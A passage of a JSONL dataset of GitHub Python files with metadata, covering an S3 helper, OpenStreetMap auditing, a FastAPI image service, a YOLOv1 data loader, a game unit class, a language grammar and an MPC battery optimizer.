mAP=0.\n for _,class_mAP in all_AP.items():\n mAP+=float(class_mAP)\n mAP/=(len(loader.CLASSES_NAME)-1)\n print(\"mAP=====>%.3f\\n\"%mAP)\n\n # Save the model in the exchangeable ONNX format\n # torch.onnx.export(model, img, \"model.onnx\")\n # wandb.save(\"model.onnx\")\n\nif __name__==\"__main__\":\n\n model_pipeline(config)","repo_name":"Bruno-Messias/FCOS","sub_path":"eval_wb.py","file_name":"eval_wb.py","file_ext":"py","file_size_in_byte":5245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71268554612","text":"import math\nimport sys\n\ndef main():\n N = int(input())\n B = list(map(int, input().split(' ')))\n total = sum(B)\n partial = 0\n M = 1000000000000000000000\n L = 1000000000000000000000\n for b in B:\n partial += b\n tp = total - partial\n tpp = math.fabs(tp - partial)\n if tpp < M:\n L = tp\n M = tpp\n print(L, total - L)\n\n\nwhile True:\n try:\n main()\n except:\n break\n","repo_name":"ishiikurisu/PC","sub_path":"src/gcj2017/r1a/uri2515.py","file_name":"uri2515.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14626923903","text":"import logging\nimport os\n\nimport boto3\n\n\nclass S3Helper:\n\n def __init__(self):\n\n self.s3_bucket = f\"{os.environ['S3_BUCKET']}-{os.environ['APP_BRANCH']}\"\n self.s3_client = boto3.session.Session().client(\n 's3',\n aws_access_key_id=os.environ['ACCESS'],\n aws_secret_access_key=os.environ['SECRET'],\n region_name=os.environ['S3_REGION']\n )\n assert self.s3_bucket\n assert self.s3_client\n\n def is_object_exist(self, s3_key: str) -> bool:\n logging.info(f'Start checking object: {s3_key}')\n response = self.s3_client.list_objects_v2(Bucket=self.s3_bucket, Prefix=s3_key, Delimiter='/')\n if 'Contents' in response:\n for obj in response['Contents']:\n if obj['Key'] == s3_key:\n return True\n return False\n\n def save_string_object_on_s3(self, s3_key: str,\n object_body: str,\n full_url_tag=\"document\",\n is_public=False) -> str:\n logging.info(f'Start saving object: {s3_key}')\n\n session = boto3.Session(\n aws_access_key_id=os.environ['ACCESS'],\n aws_secret_access_key=os.environ['SECRET']\n )\n s3 = session.resource('s3')\n obj = s3.Object(self.s3_bucket, s3_key)\n # full_url_tag = f'{StringConstants.FILE_URL_KEY}={full_url_tag}'\n # logging.info(f\"Tag for object:{full_url_tag}\")\n obj.put(Body=object_body)\n # Tagging=full_url_tag)\n if is_public:\n object_acl = s3.ObjectAcl(self.s3_bucket, s3_key)\n object_acl.put(ACL='public-read')\n logging.info(f'Public access to key:{s3_key}')\n object_url = f\"https://{self.s3_bucket}.s3-{os.environ['S3_REGION']}.amazonaws.com/{s3_key}\"\n logging.info(f'Uploaded new file: {s3_key} to s3 with url:{object_url}')\n return object_url\n\n def save_file_object_on_s3(self,\n s3_key: str,\n file_absolute_path: str):\n logging.info(f'Start saving s3 object:{s3_key} file:{file_absolute_path}')\n\n self.s3_client.upload_file(file_absolute_path,\n self.s3_bucket,\n s3_key)\n logging.info(f'Uploaded new file: {s3_key} to s3')\n\n def sync_directory_with_s3(self, local_dir: str, s3_prefix: str):\n if os.environ['HOME'] in s3_prefix:\n s3_prefix = str(s3_prefix.split(os.environ['HOME'])[1])\n if s3_prefix.startswith('/'):\n s3_prefix = s3_prefix[1:]\n logging.info(f\"Remove home for s3 prefix:{s3_prefix}\")\n\n for file_name in os.listdir(local_dir):\n self.save_file_object_on_s3(\n os.path.join(s3_prefix, str(file_name)),\n os.path.join(local_dir, str(file_name)))\n logging.info(f\"Saved file:{file_name} on s3\")\n\n def download_file_object_from_s3(self,\n s3_key: str,\n file_absolute_path: str):\n logging.info(f'Start saving s3 object:{s3_key} file:{file_absolute_path}')\n\n with open(file_absolute_path, 'wb') as local_file:\n self.s3_client.download_fileobj(self.s3_bucket, s3_key, local_file)\n local_file.close()\n logging.info(f'Uploaded new file: {s3_key} to s3')\n\n def read_s3_object(self, s3_key) -> str:\n logging.info(f'Start reading s3 file:{s3_key}')\n data = self.s3_client.get_object(Bucket=self.s3_bucket, Key=s3_key)\n file_content_from_s3 = data['Body'].read().decode('utf-8')\n logging.info(f'S3 file:{s3_key} has body:{file_content_from_s3}')\n return file_content_from_s3\n\n def list_s3_objects(self, prefix: str):\n paginator = self.s3_client.get_paginator('list_objects_v2')\n pages = paginator.paginate(Bucket=self.s3_bucket, Prefix=prefix)\n list_of_objects = []\n logging.info('list of objects: ', list_of_objects)\n for page in pages:\n if 'Contents' in page:\n for obj in page['Contents']:\n list_of_objects.append(obj['Key'])\n logging.info(f'Added object {obj[\"Key\"]} to list of objects')\n return list_of_objects\n\n def count_files_s3(self, s3_key: str) -> list:\n logging.info(f'Start count objects in: {s3_key}')\n response = self.s3_client.list_objects_v2(Bucket=self.s3_bucket, Prefix=s3_key)\n if 'Contents' in response:\n array_of_result_json = []\n for obj in response['Contents']:\n key = obj['Key']\n if key.endswith('result.json'):\n array_of_result_json.append(key)\n return array_of_result_json\n\n def is_processing_complete(self, prefix: str, num_of_expected_results: int) -> bool:\n list_of_objects = self.list_s3_objects(prefix)\n logging.info(f'Len of s3_objects_list w/ prefix: {prefix} =', len(list_of_objects))\n return len(list_of_objects) == num_of_expected_results\n","repo_name":"alexkoz/sqs_workflow","sub_path":"sqs_workflow/aws/s3/S3Helper.py","file_name":"S3Helper.py","file_ext":"py","file_size_in_byte":5147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20406119816","text":"\n#Create a sample osm\n \nimport xml.etree.ElementTree as ET \n\nOSM_FILE = \"denver.osm\" \nSAMPLE_FILE = \"sample.osm\"\n\nk = 100 # Parameter: take every k-th top level element\n\ndef get_element(osm_file, tags=('node', 'way', 'relation')):\n context = iter(ET.iterparse(osm_file, events=('start', 'end')))\n _, root = next(context)\n for event, elem in context:\n if event == 'end' and elem.tag in tags:\n yield elem\n root.clear()\n\n\nwith open(SAMPLE_FILE, 'wb') as output:\n output.write('\\n')\n output.write('\\n ')\n # write every k-th element into the sample file\n for i, element in enumerate(get_element(OSM_FILE)):\n if i % k == 0:\n output.write(ET.tostring(element, encoding='utf-8'))\n\n output.write('')\n\n\n\n# Auditing street names\nimport xml.etree.cElementTree as ET\nfrom collections import defaultdict\nimport re\nimport pprint\n\nOSMFILE = SAMPLE_FILE\nstreet_type_re = re.compile(r'\\b\\S+\\.?$', re.IGNORECASE) #the last word, case insensitive\n\n\nexpected = [\"Street\", \"Avenue\", \"Boulevard\", \"Drive\", \"Court\", \"Place\", \"Square\", \n \"Lane\", \"Road\", \"Trail\", \"Parkway\", \"Commons\",\"Highway\",\"Circle\",\n \"Bypass\",\"Broadway\",\"Way\",\"Plaza\",\"Place\",\"Point\",\"State Highway\",\n \"State Route\"]\n\n# UPDATE THIS VARIABLE: problematic street names and their correct forms\nmapping = { \"st.\": \"Street\",\n \"st\": \"Street\",\n \"strret\": \"Street\",\n \"sreet\": \"Street\",\n \"ste.\": \"Suite\",\n \"ste\": \"Suite\",\n \"mainstreet\": \"Main Street\",\n \"blvd\": \"Boulevard\",\n \"blvd.\": \"Boulevard\",\n \"blvd,\": \"Boulevard\",\n \"cir\": \"Circle\",\n \"ct\": \"Court\",\n \"dr\": \"Drive\",\n \"dr.\": \"Drive\",\n \"pl\": \"Place\",\n \"ave\": \"Avenue\",\n \"ave.\": \"Avenue\",\n \"av\": \"Avenue\",\n \"rd.\": \"Road\",\n \"rd\": \"Road\",\n \"hwy\": \"Highway\",\n \"pky\": \"Parkway\",\n \"pkwy\": \"Parkway\",\n \"sh\": \"State Highway\",\n \"sr\": \"State Route\",\n \"ln\": \"Lane\",\n \"e\": \"East\",\n \"e.\": \"East\",\n \"w\": \"West\",\n \"w.\": \"West\",\n \"n\": \"North\",\n \"n.\": \"North\",\n \"s\": \"South\",\n \"s.\": \"South\"}\n\n\ndef audit_street_type(street_types, street_name):\n m = street_type_re.search(street_name) \n # check if any string matches the pattern and return its location\n if m: # if true\n street_type = m.group() #return all the match\n if street_type not in expected: \n street_types[street_type].add(street_name) \n # a dictionary with these unusual street_types and their names\n\n\ndef is_street_name(elem):\n return (elem.attrib['k'] == \"addr:street\")\n #check if it is true that the element has addr:street value\n\ndef audit(osmfile):\n \"\"\" get all the street types that are not in the expected list \"\"\"\n osm_file = open(osmfile, \"r\")\n street_types = defaultdict(set)\n for event, elem in ET.iterparse(osm_file, events=(\"start\",)):\n if elem.tag == \"node\" or elem.tag == \"way\":\n for tag in elem.iter(\"tag\"):\n if is_street_name(tag):\n audit_street_type(street_types, tag.attrib['v'])\n osm_file.close()\n return street_types\n\n\ndef update_name(name, mapping):\n \"\"\" change the incorrect street types into there correct forms \"\"\"\n name_list = name.split(' ')\n for i in range(len(name_list)):\n # do not change \"Unit E\" into \"Unit East\"\n if name_list[i].lower() in mapping.keys() and \"Unit E\" not in name:\n name_list[i] = mapping[name_list[i].lower()]\n if name_list[i].lower() in mapping.keys() and \"Unit E\" in name:\n if name_list[i].lower() != \"e\":\n name_list[i] = mapping[name_list[i].lower()]\n new_name = ' '.join(name_list)\n \n return new_name\n\n# check the list of problematic address names\naudit(SAMPLE_FILE)\n\n\n# Audit zip code\ndef audit_zip_value(zip_value):\n if zip_value[0:2]!= '80': # Denver area zip codes starts with 80\n return zip_value\n\n\ndef is_zip_name(elem):\n return (elem.attrib['k'] == \"addr:postcode\") \n\ndef audit_zip(osmfile):\n \"\"\" get a list of problematic postal codes \"\"\"\n osm_file = open(osmfile, \"r\")\n zip_values = set()\n for event, elem in ET.iterparse(osm_file, events=(\"start\",)):\n if elem.tag == \"node\" or elem.tag == \"way\":\n for tag in elem.iter(\"tag\"):\n if is_zip_name(tag): \n zip_values.add(audit_zip_value(tag.attrib['v']))\n osm_file.close()\n return zip_values\n\n# check the list of problematic postal codes\naudit_zip(SAMPLE_FILE) \n\n \n","repo_name":"LiangSun617/DANDP3_Data_Wrangling","sub_path":"Code1_DataAuditing.py","file_name":"Code1_DataAuditing.py","file_ext":"py","file_size_in_byte":4804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"676747818","text":"from fastapi import FastAPI, UploadFile, File\nimport uvicorn\nimport numpy as np\nimport cv2\nimport shutil\n\napp = FastAPI()\n\n@app.get(\"/\")\ndef index():\n return{\"Welcome to PAKPLANTS\"}\n\n@app.post(\"/percent\")\ndef mask(file: UploadFile =File(...)):\n with open(f'{file.filename}' , \"wb\") as buffer:\n shutil.copyfileobj(file.file, buffer)\n \n img= cv2.imread(file.filename) \n grid_RGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n grid_HSV = cv2.cvtColor(grid_RGB, cv2.COLOR_RGB2HSV)\n lower_green = np.array([36 ,0 , 0])\n upper_green = np.array([102,255,255])\n mask= cv2.inRange(grid_HSV, lower_green, upper_green)\n green_perc = (np.sum(mask) / np.size(mask))/255\n green_perc = green_perc*100\n return{round(green_perc,3)}\n\nif __name__ == \"__main__\":\n uvicorn.run(app, debug=True)\n\n\n# curl -X 'POST' \\\n# 'http://localhost:8000/percent' \\\n# -H 'accept: application/json' \\\n# -H 'Content-Type: multipart/form-data' \\\n# -F 'file=@wh0051.jpg;type=image/jpeg'","repo_name":"AbdulWajid99/plantation_area_detection","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36053147816","text":"class Solution(object):\n def maxRotateFunction(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n # initialize the maximum value of F(k) to be the initial value of F(0)\n max_val = sum(i * nums[i] for i in range(len(nums)))\n # initialize the sum of all elements in nums\n total_sum = sum(nums)\n # initialize the current value of F(k) to be the initial value of F(0)\n curr_val = max_val\n # iterate over the possible values of k\n for k in range(1, len(nums)):\n # update the current value of F(k)\n curr_val = curr_val + total_sum - len(nums) * nums[-k]\n # update the maximum value of F(k) if necessary\n max_val = max(max_val, curr_val)\n return max_val\n","repo_name":"Codechef-WCE-Chapter/30-Days-6-Companies","sub_path":"Calto-GG/Microsoft/Day 2/Rotate_Function.py","file_name":"Rotate_Function.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"21"} +{"seq_id":"8188212530","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom modgrammar import *\n\nimport commands\n\nclass Command(Grammar):\n grammar = OR(*'⌀⌁⌃⌄⌅⌆⌇⌈⌉⌊⌋⌂⌖⌜⌝⁰¹²³⁴⁵⁶⁷⁸⁹¤×⌑÷⌞⌟!\"#$%&\\'*+,-./:;<=>?@ABCDEF'\n 'GHIJKLMNOPQRSTUVWXYZ\\^_`abcdefghijklmnopqrstuvwxyz{|}~⌐¬⌌⌍'\n '±⌔⌓○⌕⌤⊠⌶⌬∮⌙⌯⌎⌏∓⌰⌱⌽⌳⌲⌴≠≈≡⍂⌮⍅⍆⍑⍍⍦⍧∘⌾Δ⍋≎≤≀≥⍁⌭√Σ⍊⍔∝⍀⍉∇⍒⊢⊣≺≻⊲⊳⍬'\n '⍭⍳⍴⍵⋮⌿∴⊄∩⊅∈∋∧⊶⊷↕↑↔⋅⋱…⋰∵⊂∪⊃∉∌∨∥∦←↓→↖↗⊕⊖⊗⊘⊙⊜⋉⋈⋊⏚⇐↭⇒↙↘πσθλμφΩ'\n )\n\nclass Digit(Grammar):\n grammar = OR(*'0123456789')\n\nclass PositiveInteger(Grammar):\n grammar = REPEAT(Digit)\n\nclass NegativeInteger(Grammar):\n grammar = ('-', ZERO_OR_MORE(Digit))\n\nclass Integer(Grammar):\n grammar = PositiveInteger | NegativeInteger\n\nclass Float(Grammar):\n grammar = (OPTIONAL(Integer), '.', OPTIONAL(PositiveInteger))\n\nclass ScientificNotation(Grammar):\n grammar = (OPTIONAL(Integer | Float), 'e', OPTIONAL(Integer | Float))\n\nclass Complex(Grammar):\n grammar = (OPTIONAL(Integer | Float | ScientificNotation), 'j')\n\nclass Number(Grammar):\n grammar = Complex | ScientificNotation | Float | Integer\n\nclass Character(Grammar):\n grammar = ('‹', ANY)\n\nclass ValidCharacter(Grammar):\n grammar = OR(('\\\\', OR(*'«»')), EXCEPT(ANY, OR(*'«»')))\n\nclass ClosedString(Grammar):\n grammar = ('«', ZERO_OR_MORE(ValidCharacter), '»')\n\nclass LeftUnclosedString(Grammar):\n grammar = (ZERO_OR_MORE(ValidCharacter), '»')\n\nclass RightUnclosedString(Grammar):\n grammar = ('«', ZERO_OR_MORE(ValidCharacter), EOF)\n\nclass String(Grammar):\n grammar = ClosedString | RightUnclosedString\n\nclass Text(Grammar):\n grammar = String | Character\n\nclass ClosedList(Grammar):\n grammar = ('[', ZERO_OR_MORE(REF('Literal') | SPACE), ']')\n\nclass LeftUnclosedList(Grammar):\n grammar = (ZERO_OR_MORE(REF('Literal') | SPACE), ']')\n\nclass RightUnclosedList(Grammar):\n grammar = ('[', ZERO_OR_MORE(REF('Literal') | SPACE), EOL | EOF)\n\nclass List(Grammar):\n grammar = ClosedList | RightUnclosedList\n\nclass Literal(Grammar):\n grammar = Number | Text | List\n\nclass Loop(Grammar):\n grammar = (OR('∞', '∀', '(', '⟨', '⟩'),\n ZERO_OR_MORE(Literal | REF('Loop') | Command), ')' | EOL)\n\nclass Function(Grammar):\n grammar = (OPTIONAL(LeftUnclosedString | LeftUnclosedList),\n ZERO_OR_MORE(Literal | Loop | Command | ' '))\n\nclass Program(Grammar):\n grammar = ZERO_OR_MORE(Function | '\\n')\n\nparse_program = Program.parser().parse_string\nparse_function = Function.parser().parse_string\nparse_literal = Literal.parser().parse_string\n","repo_name":"totallyhuman/neon","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2843,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"21112303905","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@Time : 2021/11/22 19:39\r\n@Auth : killbulala\r\n@File :data.py\r\n@IDE :PyCharm\r\n@Email:killbulala@163.com\r\n\"\"\"\r\nimport math\r\nimport numpy as np\r\nimport torch\r\nfrom PIL import Image\r\nfrom torch.utils.data import Dataset, DataLoader\r\nfrom torchvision import transforms\r\nfrom cfg import *\r\n\r\n\r\nclass Data_(Dataset):\r\n\r\n def __init__(self, root):\r\n super(Data_, self).__init__()\r\n with open(root, 'r') as f:\r\n self.lines = f.readlines()\r\n self.transforms = transforms.Compose([transforms.ToTensor()])\r\n\r\n def __getitem__(self, idx):\r\n img, ann = self.get_annotations(idx)\r\n # data encoder\r\n img, target = self.encoder(img, ann)\r\n return img, target\r\n\r\n def __len__(self):\r\n return len(self.lines)\r\n\r\n def get_annotations(self, idx):\r\n tmp = self.lines[idx].strip().split(' ')\r\n img, scale = self.get_img(tmp[0], TRAIN_SIZE)\r\n ann = self.get_ann(tmp[1:], scale)\r\n # if self.transforms:\r\n # ann = self.transforms(ann)\r\n return img, ann\r\n\r\n def get_img(self, path, train_size):\r\n img = Image.open(path)\r\n max_hw = max(img.size[0], img.size[1])\r\n img_mask = Image.new(mode='RGB', size=(max_hw, max_hw), color=(0, 0, 0))\r\n img_mask.paste(img, box=(0, 0))\r\n img_mask = img_mask.resize((train_size, train_size))\r\n scale = train_size / max_hw\r\n return img_mask, scale\r\n\r\n def get_ann(self, ann_lst, scale):\r\n box = np.array([np.array(list(map(int, box.split(','))), dtype=np.float64) for box in ann_lst])\r\n box[:, 0:4] *= scale\r\n box[:, 0:4] /= TRAIN_SIZE\r\n return box\r\n\r\n def encoder(self, img, ann):\r\n num_objs = ann.shape[0]\r\n target = torch.zeros((GRID_NUM, GRID_NUM, NUM_BBOX*5+CLASSES)) # 编码是 H W 30\r\n cell_size = 1. / GRID_NUM\r\n wh = ann[:, 2:4] - ann[:, :2]\r\n cxcy = (ann[:, :2] + ann[:, 2:4]) / 2\r\n for i in range(num_objs):\r\n obj_cls = int(ann[i][4])\r\n cell_xy_idx = np.array([math.ceil(x) - 1 for x in (cxcy[i][:2] / cell_size)])\r\n target[cell_xy_idx[1], cell_xy_idx[0], 4] = 1\r\n target[cell_xy_idx[1], cell_xy_idx[0], 9] = 1\r\n target[cell_xy_idx[1], cell_xy_idx[0], 10+obj_cls] = 1\r\n left_top_xy = cell_xy_idx * cell_size\r\n delta_xy = cxcy[i][:2] - left_top_xy\r\n cell_delta_xy = delta_xy / cell_size # 在格子中的偏移\r\n target[cell_xy_idx[1], cell_xy_idx[0], :2] = torch.tensor(cell_delta_xy, dtype=torch.float32)\r\n target[cell_xy_idx[1], cell_xy_idx[0], 2:4] = torch.tensor(wh[i], dtype=torch.float32)\r\n target[cell_xy_idx[1], cell_xy_idx[0], 5:7] = torch.tensor(cell_delta_xy, dtype=torch.float32)\r\n target[cell_xy_idx[1], cell_xy_idx[0], 7:9] = torch.tensor(wh[i], dtype=torch.float32)\r\n\r\n img = self.transforms(img)\r\n return img, target\r\n\r\n\r\nif __name__ == '__main__':\r\n r = r'F:\\killbulala\\work\\datasets\\VOCdevkit\\2012_train.txt'\r\n data = Data_(r)\r\n print(data[0][0].shape)\r\n print(data[0][1].shape)\r\n","repo_name":"killbulala/biubiubiu","sub_path":"yolov1/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26458197573","text":"from base_unit import BaseUnit\nfrom names import *\nimport pygame\nfrom rolldice import rollDie\nfrom base_group import BaseGroup\n\nclass Minion(BaseUnit):\n \"\"\"\n The Minion class\n \"\"\"\n def __init__(self, **keywords):\n #load the base class\n super().__init__(**keywords)\n \n self.type = \"Minion\"\n self.cost = 1\n self.color = WHITE\n \n def set_type(self,number):\n \"\"\"\n Sets the type of hero based on an inputted number\n \"\"\"\n if number == 0:\n self.Goblin()\n \n if number == 1:\n self.Ork()\n\n if number == 2:\n self.Skeleton()\n\n if number == 3:\n self.Troll()\n\n def Goblin(self):\n \"\"\"\n Turns the minion into a Goblin \n \"\"\"\n self.type = \"Goblin\"\n self.image = pygame.image.load(\"Goblin.gif\")\n self.cost = 1\n self.health = 20\n self.max_health = self.health\n self.base_damage = 1 \n self.damagedice = (3,2)\n self.base_defense = 1\n self.defensedice = (2,1)\n self.color = BROWN\n self.activate()\n\n def Ork(self):\n \"\"\"\n Turns the minion into an Ork\n \"\"\"\n self.type = \"Ork\"\n self.image = pygame.image.load(\"Ork.gif\")\n self.cost = 2\n self.health = 40\n self.max_health = self.health\n self.base_damage = 3\n self.damagedice = (4,2)\n self.base_defense = 1\n self.defensedice = (3,1)\n self.color = GREEN1\n self.activate()\n\n def Troll(self):\n \"\"\"\n Turns the minion into a Troll\n \"\"\"\n self.type = \"Troll\"\n self.image = pygame.image.load(\"Troll.gif\")\n self.cost = 4\n self.health = 60\n self.max_health = self.health\n self.base_damage = 6 \n self.damagedice = (3,2)\n self.base_defense = 2\n self.defensedice = (3,1)\n self.color = TEAL\n self.activate()\n\n def Skeleton(self):\n \"\"\"\n Turns the minion into a Skeleton\n \"\"\"\n self.type = \"Skeleton\"\n self.image = pygame.image.load(\"Skeleton.gif\")\n self.bullet = pygame.image.load(\"ArrowLeft.gif\")\n self.cost = 3\n self.health = 30\n self.max_health = self.health\n self.base_damage = 2 \n self.damagedice = (3,2)\n self.base_defense = 1\n self.defensedice = (3,1)\n self.attack_cap = 2\n self.ranged = True\n self.color = GREY1\n self.activate()\n\n def Value(self,enemies):\n \"\"\"\n Returns the Value of the unit based on the composition of the enemy \n party\n \"\"\"\n if self.type == \"Goblin\":\n if \"Bard\" in enemies.inteam and not \"Fighter\" in enemies.inteam:\n return 2\n else:\n return 1\n\n if self.type == \"Ork\":\n if \"Archer\" in enemies.inteam or \"Fighter\" in enemies.inteam:\n return 3\n else:\n return 2\n if self.type == \"Skeleton\":\n if \"Mage\" in enemies.inteam or \"Archer\" in enemies.inteam:\n return 5\n else:\n return 3\n \n if self.type == \"Troll\":\n if \"Fighter\" in enemies.inteam and not \"Mage\" in enemies.inteam:\n return 7\n else:\n return 4\n\nclass Team(BaseGroup):\n \"\"\"\n Class for a Team of Minions\n \"\"\"\n def __init__(self):\n super().__init__() \n self.maxsize = 2+rollDie(6) \n self.side = 1 \n\n def reset(self):\n \"\"\"\n Resets the Team to be empty and randomizes the maximum size\n \"\"\"\n self.members = []\n self.membertypes = []\n self.size = 0\n self.maxsize = 2+rollDie(6)\n self.alive = True\n","repo_name":"dai-dao/CMPUT275-Project","sub_path":"minions.py","file_name":"minions.py","file_ext":"py","file_size_in_byte":3836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25309903738","text":"import logging\nimport typing as t\nfrom enum import Enum, unique\nfrom itertools import chain\nfrom pathlib import Path\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom pyfmi import fmi, load_fmu\nfrom pyfmi.common.io import VariableNotFoundError\nfrom pyfmi.fmi_algorithm_drivers import FMICSAlg, FMIResult\nfrom scipy.optimize import least_squares\nfrom tqdm import tqdm\n\nfrom .fmi_cs_alg_progressbar import FMICSAlgWithProgressBar\nfrom .fmu_source import FmuSource, ModelicaModelInfo\nfrom .linearization import get_linear_model_matrices, linearize_model\nfrom .utils import ModelVariables, VariableType\n\n\nclass MPCOptimizerWithLinearization:\n def __init__(self,\n model_info: ModelicaModelInfo,\n horizon_num: int,\n initial_parameters: ModelVariables = dict(),\n initial_outputs: ModelVariables = dict(),\n points_per_sec: float = 1):\n self.model_info = model_info\n # Add initial parameters setting before linearization\n self.model: fmi.FMUModelCS2 = linearize_model(self.model_info, initial_parameters)\n\n self.state_variables: t.List[str] = self._get_variables(VariableType.STATE)\n self.input_vars: t.List[str] = self._get_variables(VariableType.INPUT)\n self.output_vars: t.List[str] = self._get_variables(VariableType.OUTPUT)\n self.d = {\n self._get_linearized_var(var, VariableType.OUTPUT): val\n for var, val in initial_outputs.items()\n }\n\n incorrect_outputs = list(filter(lambda x: x not in self.output_vars, self.d))\n if len(incorrect_outputs):\n raise ValueError(\"Next variables are not output ones:\",\n list(map(lambda x: x[3:-1], incorrect_outputs)))\n\n self.horizon: int = horizon_num\n self.points_per_sec = points_per_sec\n\n # Add checking for inputs via OMPython as linearizated model doesn't have\n # parameters\n self.initial_parameters = initial_parameters\n\n def simulate(self,\n start: float,\n end: float,\n input_df: pd.DataFrame,\n save_all: bool = False,\n verbose=True):\n input_df = self._prepare_input_for_linear(input_df, start, end)\n opts = self.model.simulate_options()\n opts['ncp'] = int((end - start) * self.points_per_sec)\n opts['initialize'] = False\n opts['silent_mode'] = True\n # opts[\"logging\"] = True\n # self.model.set(\"_log_level\", 4)\n\n input_df.rename(columns={'I_req': \"'u_I_req'\"}, inplace=True)\n res = self.model.simulate(start_time=0,\n final_time=end - start,\n input=(self.input_vars, input_df.reset_index().values),\n options=opts,\n algorithm=FMICSAlgWithProgressBar if verbose else FMICSAlg)\n\n def df_for(vars: t.List[str]) -> pd.DataFrame:\n stripped_vars = list(map(lambda x: x.strip()[3:-1] if x.startswith(\"'\") else x, vars))\n return pd.DataFrame(data=np.array([res[var] for var in vars]).T, columns=stripped_vars)\n\n def add_start_values(variables_df: pd.DataFrame):\n for var, val in self.d.items():\n variables_df[var[3:-1]] += val\n return variables_df\n\n return df_for([\"time\", *self.state_variables\n ]), df_for(self.input_vars), add_start_values(df_for(self.output_vars))\n\n def _set_vars(self, state):\n for state_var, val in state.items():\n if state_var == 'time':\n continue\n self.model.set(state_var, val)\n\n def _reset(self):\n # fmu_path = FmuSource.from_modelica(\n # ModelicaModelInfo(Path(\"linearized_model.mo\"), \"linearized_model\")).fmu_path\n # fmu_path = FmuSource.from_fmu(Path('linearized_model.fmu')).fmu_path\n # self.model = load_fmu(str(fmu_path))\n self.model.reset()\n\n # FMU exported from OpenModelica doesn't estimate from time 0,\n # so simulation from 0 to 0 helps\n opts = self.model.simulate_options()\n opts['silent_mode'] = True\n self.model.simulate(0, 0, options=opts)\n\n @staticmethod\n def _form_sub_frame(control_df: pd.DataFrame, start: float, end: float):\n def find_index(timepoint):\n return np.argmin(np.abs(control_df.index - timepoint))\n\n return control_df.iloc[find_index(start):find_index(end)]\n\n @staticmethod\n def _shift_time_to_zero(control_df: pd.DataFrame):\n new_df = control_df.copy().reset_index(drop=True)\n new_df['time'] = control_df.index - control_df.index[0]\n new_df.set_index('time', inplace=True)\n return new_df\n\n @staticmethod\n def _prepare_input_for_linear(control_df: pd.DataFrame, start: float, end: float):\n return MPCOptimizerWithLinearization._shift_time_to_zero(\n MPCOptimizerWithLinearization._form_sub_frame(control_df, start, end))\n\n def _get_variables(self, variable_type: VariableType):\n prefix = variable_type.linear_prefix()\n return list(self.model.get_model_variables(filter=f\"'{prefix}*\").keys())\n\n def _get_linearized_var(self, var_name: str, variable_type: VariableType):\n prefix = variable_type.linear_prefix()\n return f\"'{prefix}{var_name}'\"\n\n def optimize(self,\n start: float,\n end: float,\n initial_guess: pd.DataFrame,\n objective_func: t.Callable[[ModelVariables, ModelVariables, ModelVariables],\n float],\n bounds: t.Dict[str, t.Tuple[float, float]] = {},\n step: float = 1,\n iteration_callbacks: t.List[t.Callable[[int, pd.DataFrame], None]] = [],\n early_stopping_funcs: t.List[t.Callable[[int, ModelVariables], bool]] = []):\n last_state: t.Optional[ModelVariables] = None\n input_df = initial_guess.copy()\n for step_num, st in enumerate(tqdm(np.arange(start, end, step))):\n self.model = linearize_model(\n self.model_info, self.initial_parameters,\n self._prepare_input_for_linear(input_df, 0, st) if st > 0 else None)\n simulation_cache = dict()\n\n def sim_function(u, self, last_state):\n input_df.iloc[input_df.index >= st] = u\n linear_input_df = MPCOptimizerWithLinearization._prepare_input_for_linear(\n input_df, st, st + step * self.horizon)\n self._reset()\n try:\n state, input, output = self.simulate(0,\n step * self.horizon,\n linear_input_df,\n verbose=False)\n simulation_cache[u] = (state, input, output)\n J = objective_func(step_num, state, input, output)\n return J\n except fmi.FMUException:\n return 1000000000\n\n optim = least_squares(sim_function,\n bounds=bounds[self.input_vars[0][3:-1]],\n args=(self, last_state),\n method='trf')\n input_df.iloc[(input_df.index >= st)\n & (input_df.index <= min(st + step, end))] = optim.x\n\n self._reset()\n\n linear_input_df = MPCOptimizerWithLinearization._prepare_input_for_linear(\n input_df, 0,\n min(st + step, end) - st)\n state, input, output = self.simulate(0,\n min(st + step, end) - st,\n linear_input_df,\n verbose=False)\n all_variables = pd.concat([state, input, output], axis=1, join='inner')\n for callback in iteration_callbacks:\n callback(step_num, all_variables)\n\n last_state = dict(zip(all_variables.iloc[-1].index, all_variables.iloc[-1].values))\n # for var in self.d:\n # self.d[var] = last_state[var[3:-1]]\n # print(self.d)\n\n if any([func(step_num, last_state) for func in early_stopping_funcs]):\n logging.info('Stopped optimization due to early stopping')\n return input_df[:np.argmin(np.abs(input_df.index - (st + step)))]\n\n return input_df[:np.argmin(np.abs(input_df.index - (st + step)))]\n\n def get_matrices(self):\n return get_linear_model_matrices(self.model)\n","repo_name":"Midren/MPC_for_battery_operation","sub_path":"python_libs/mpc_optimization/mpc_optimizer_linear.py","file_name":"mpc_optimizer_linear.py","file_ext":"py","file_size_in_byte":8828,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"8478605929","text":"from math import sin, cos, asin, atan, atan2, sqrt, pi, degrees\nimport array\n\ntry:\n import utime as time\nexcept 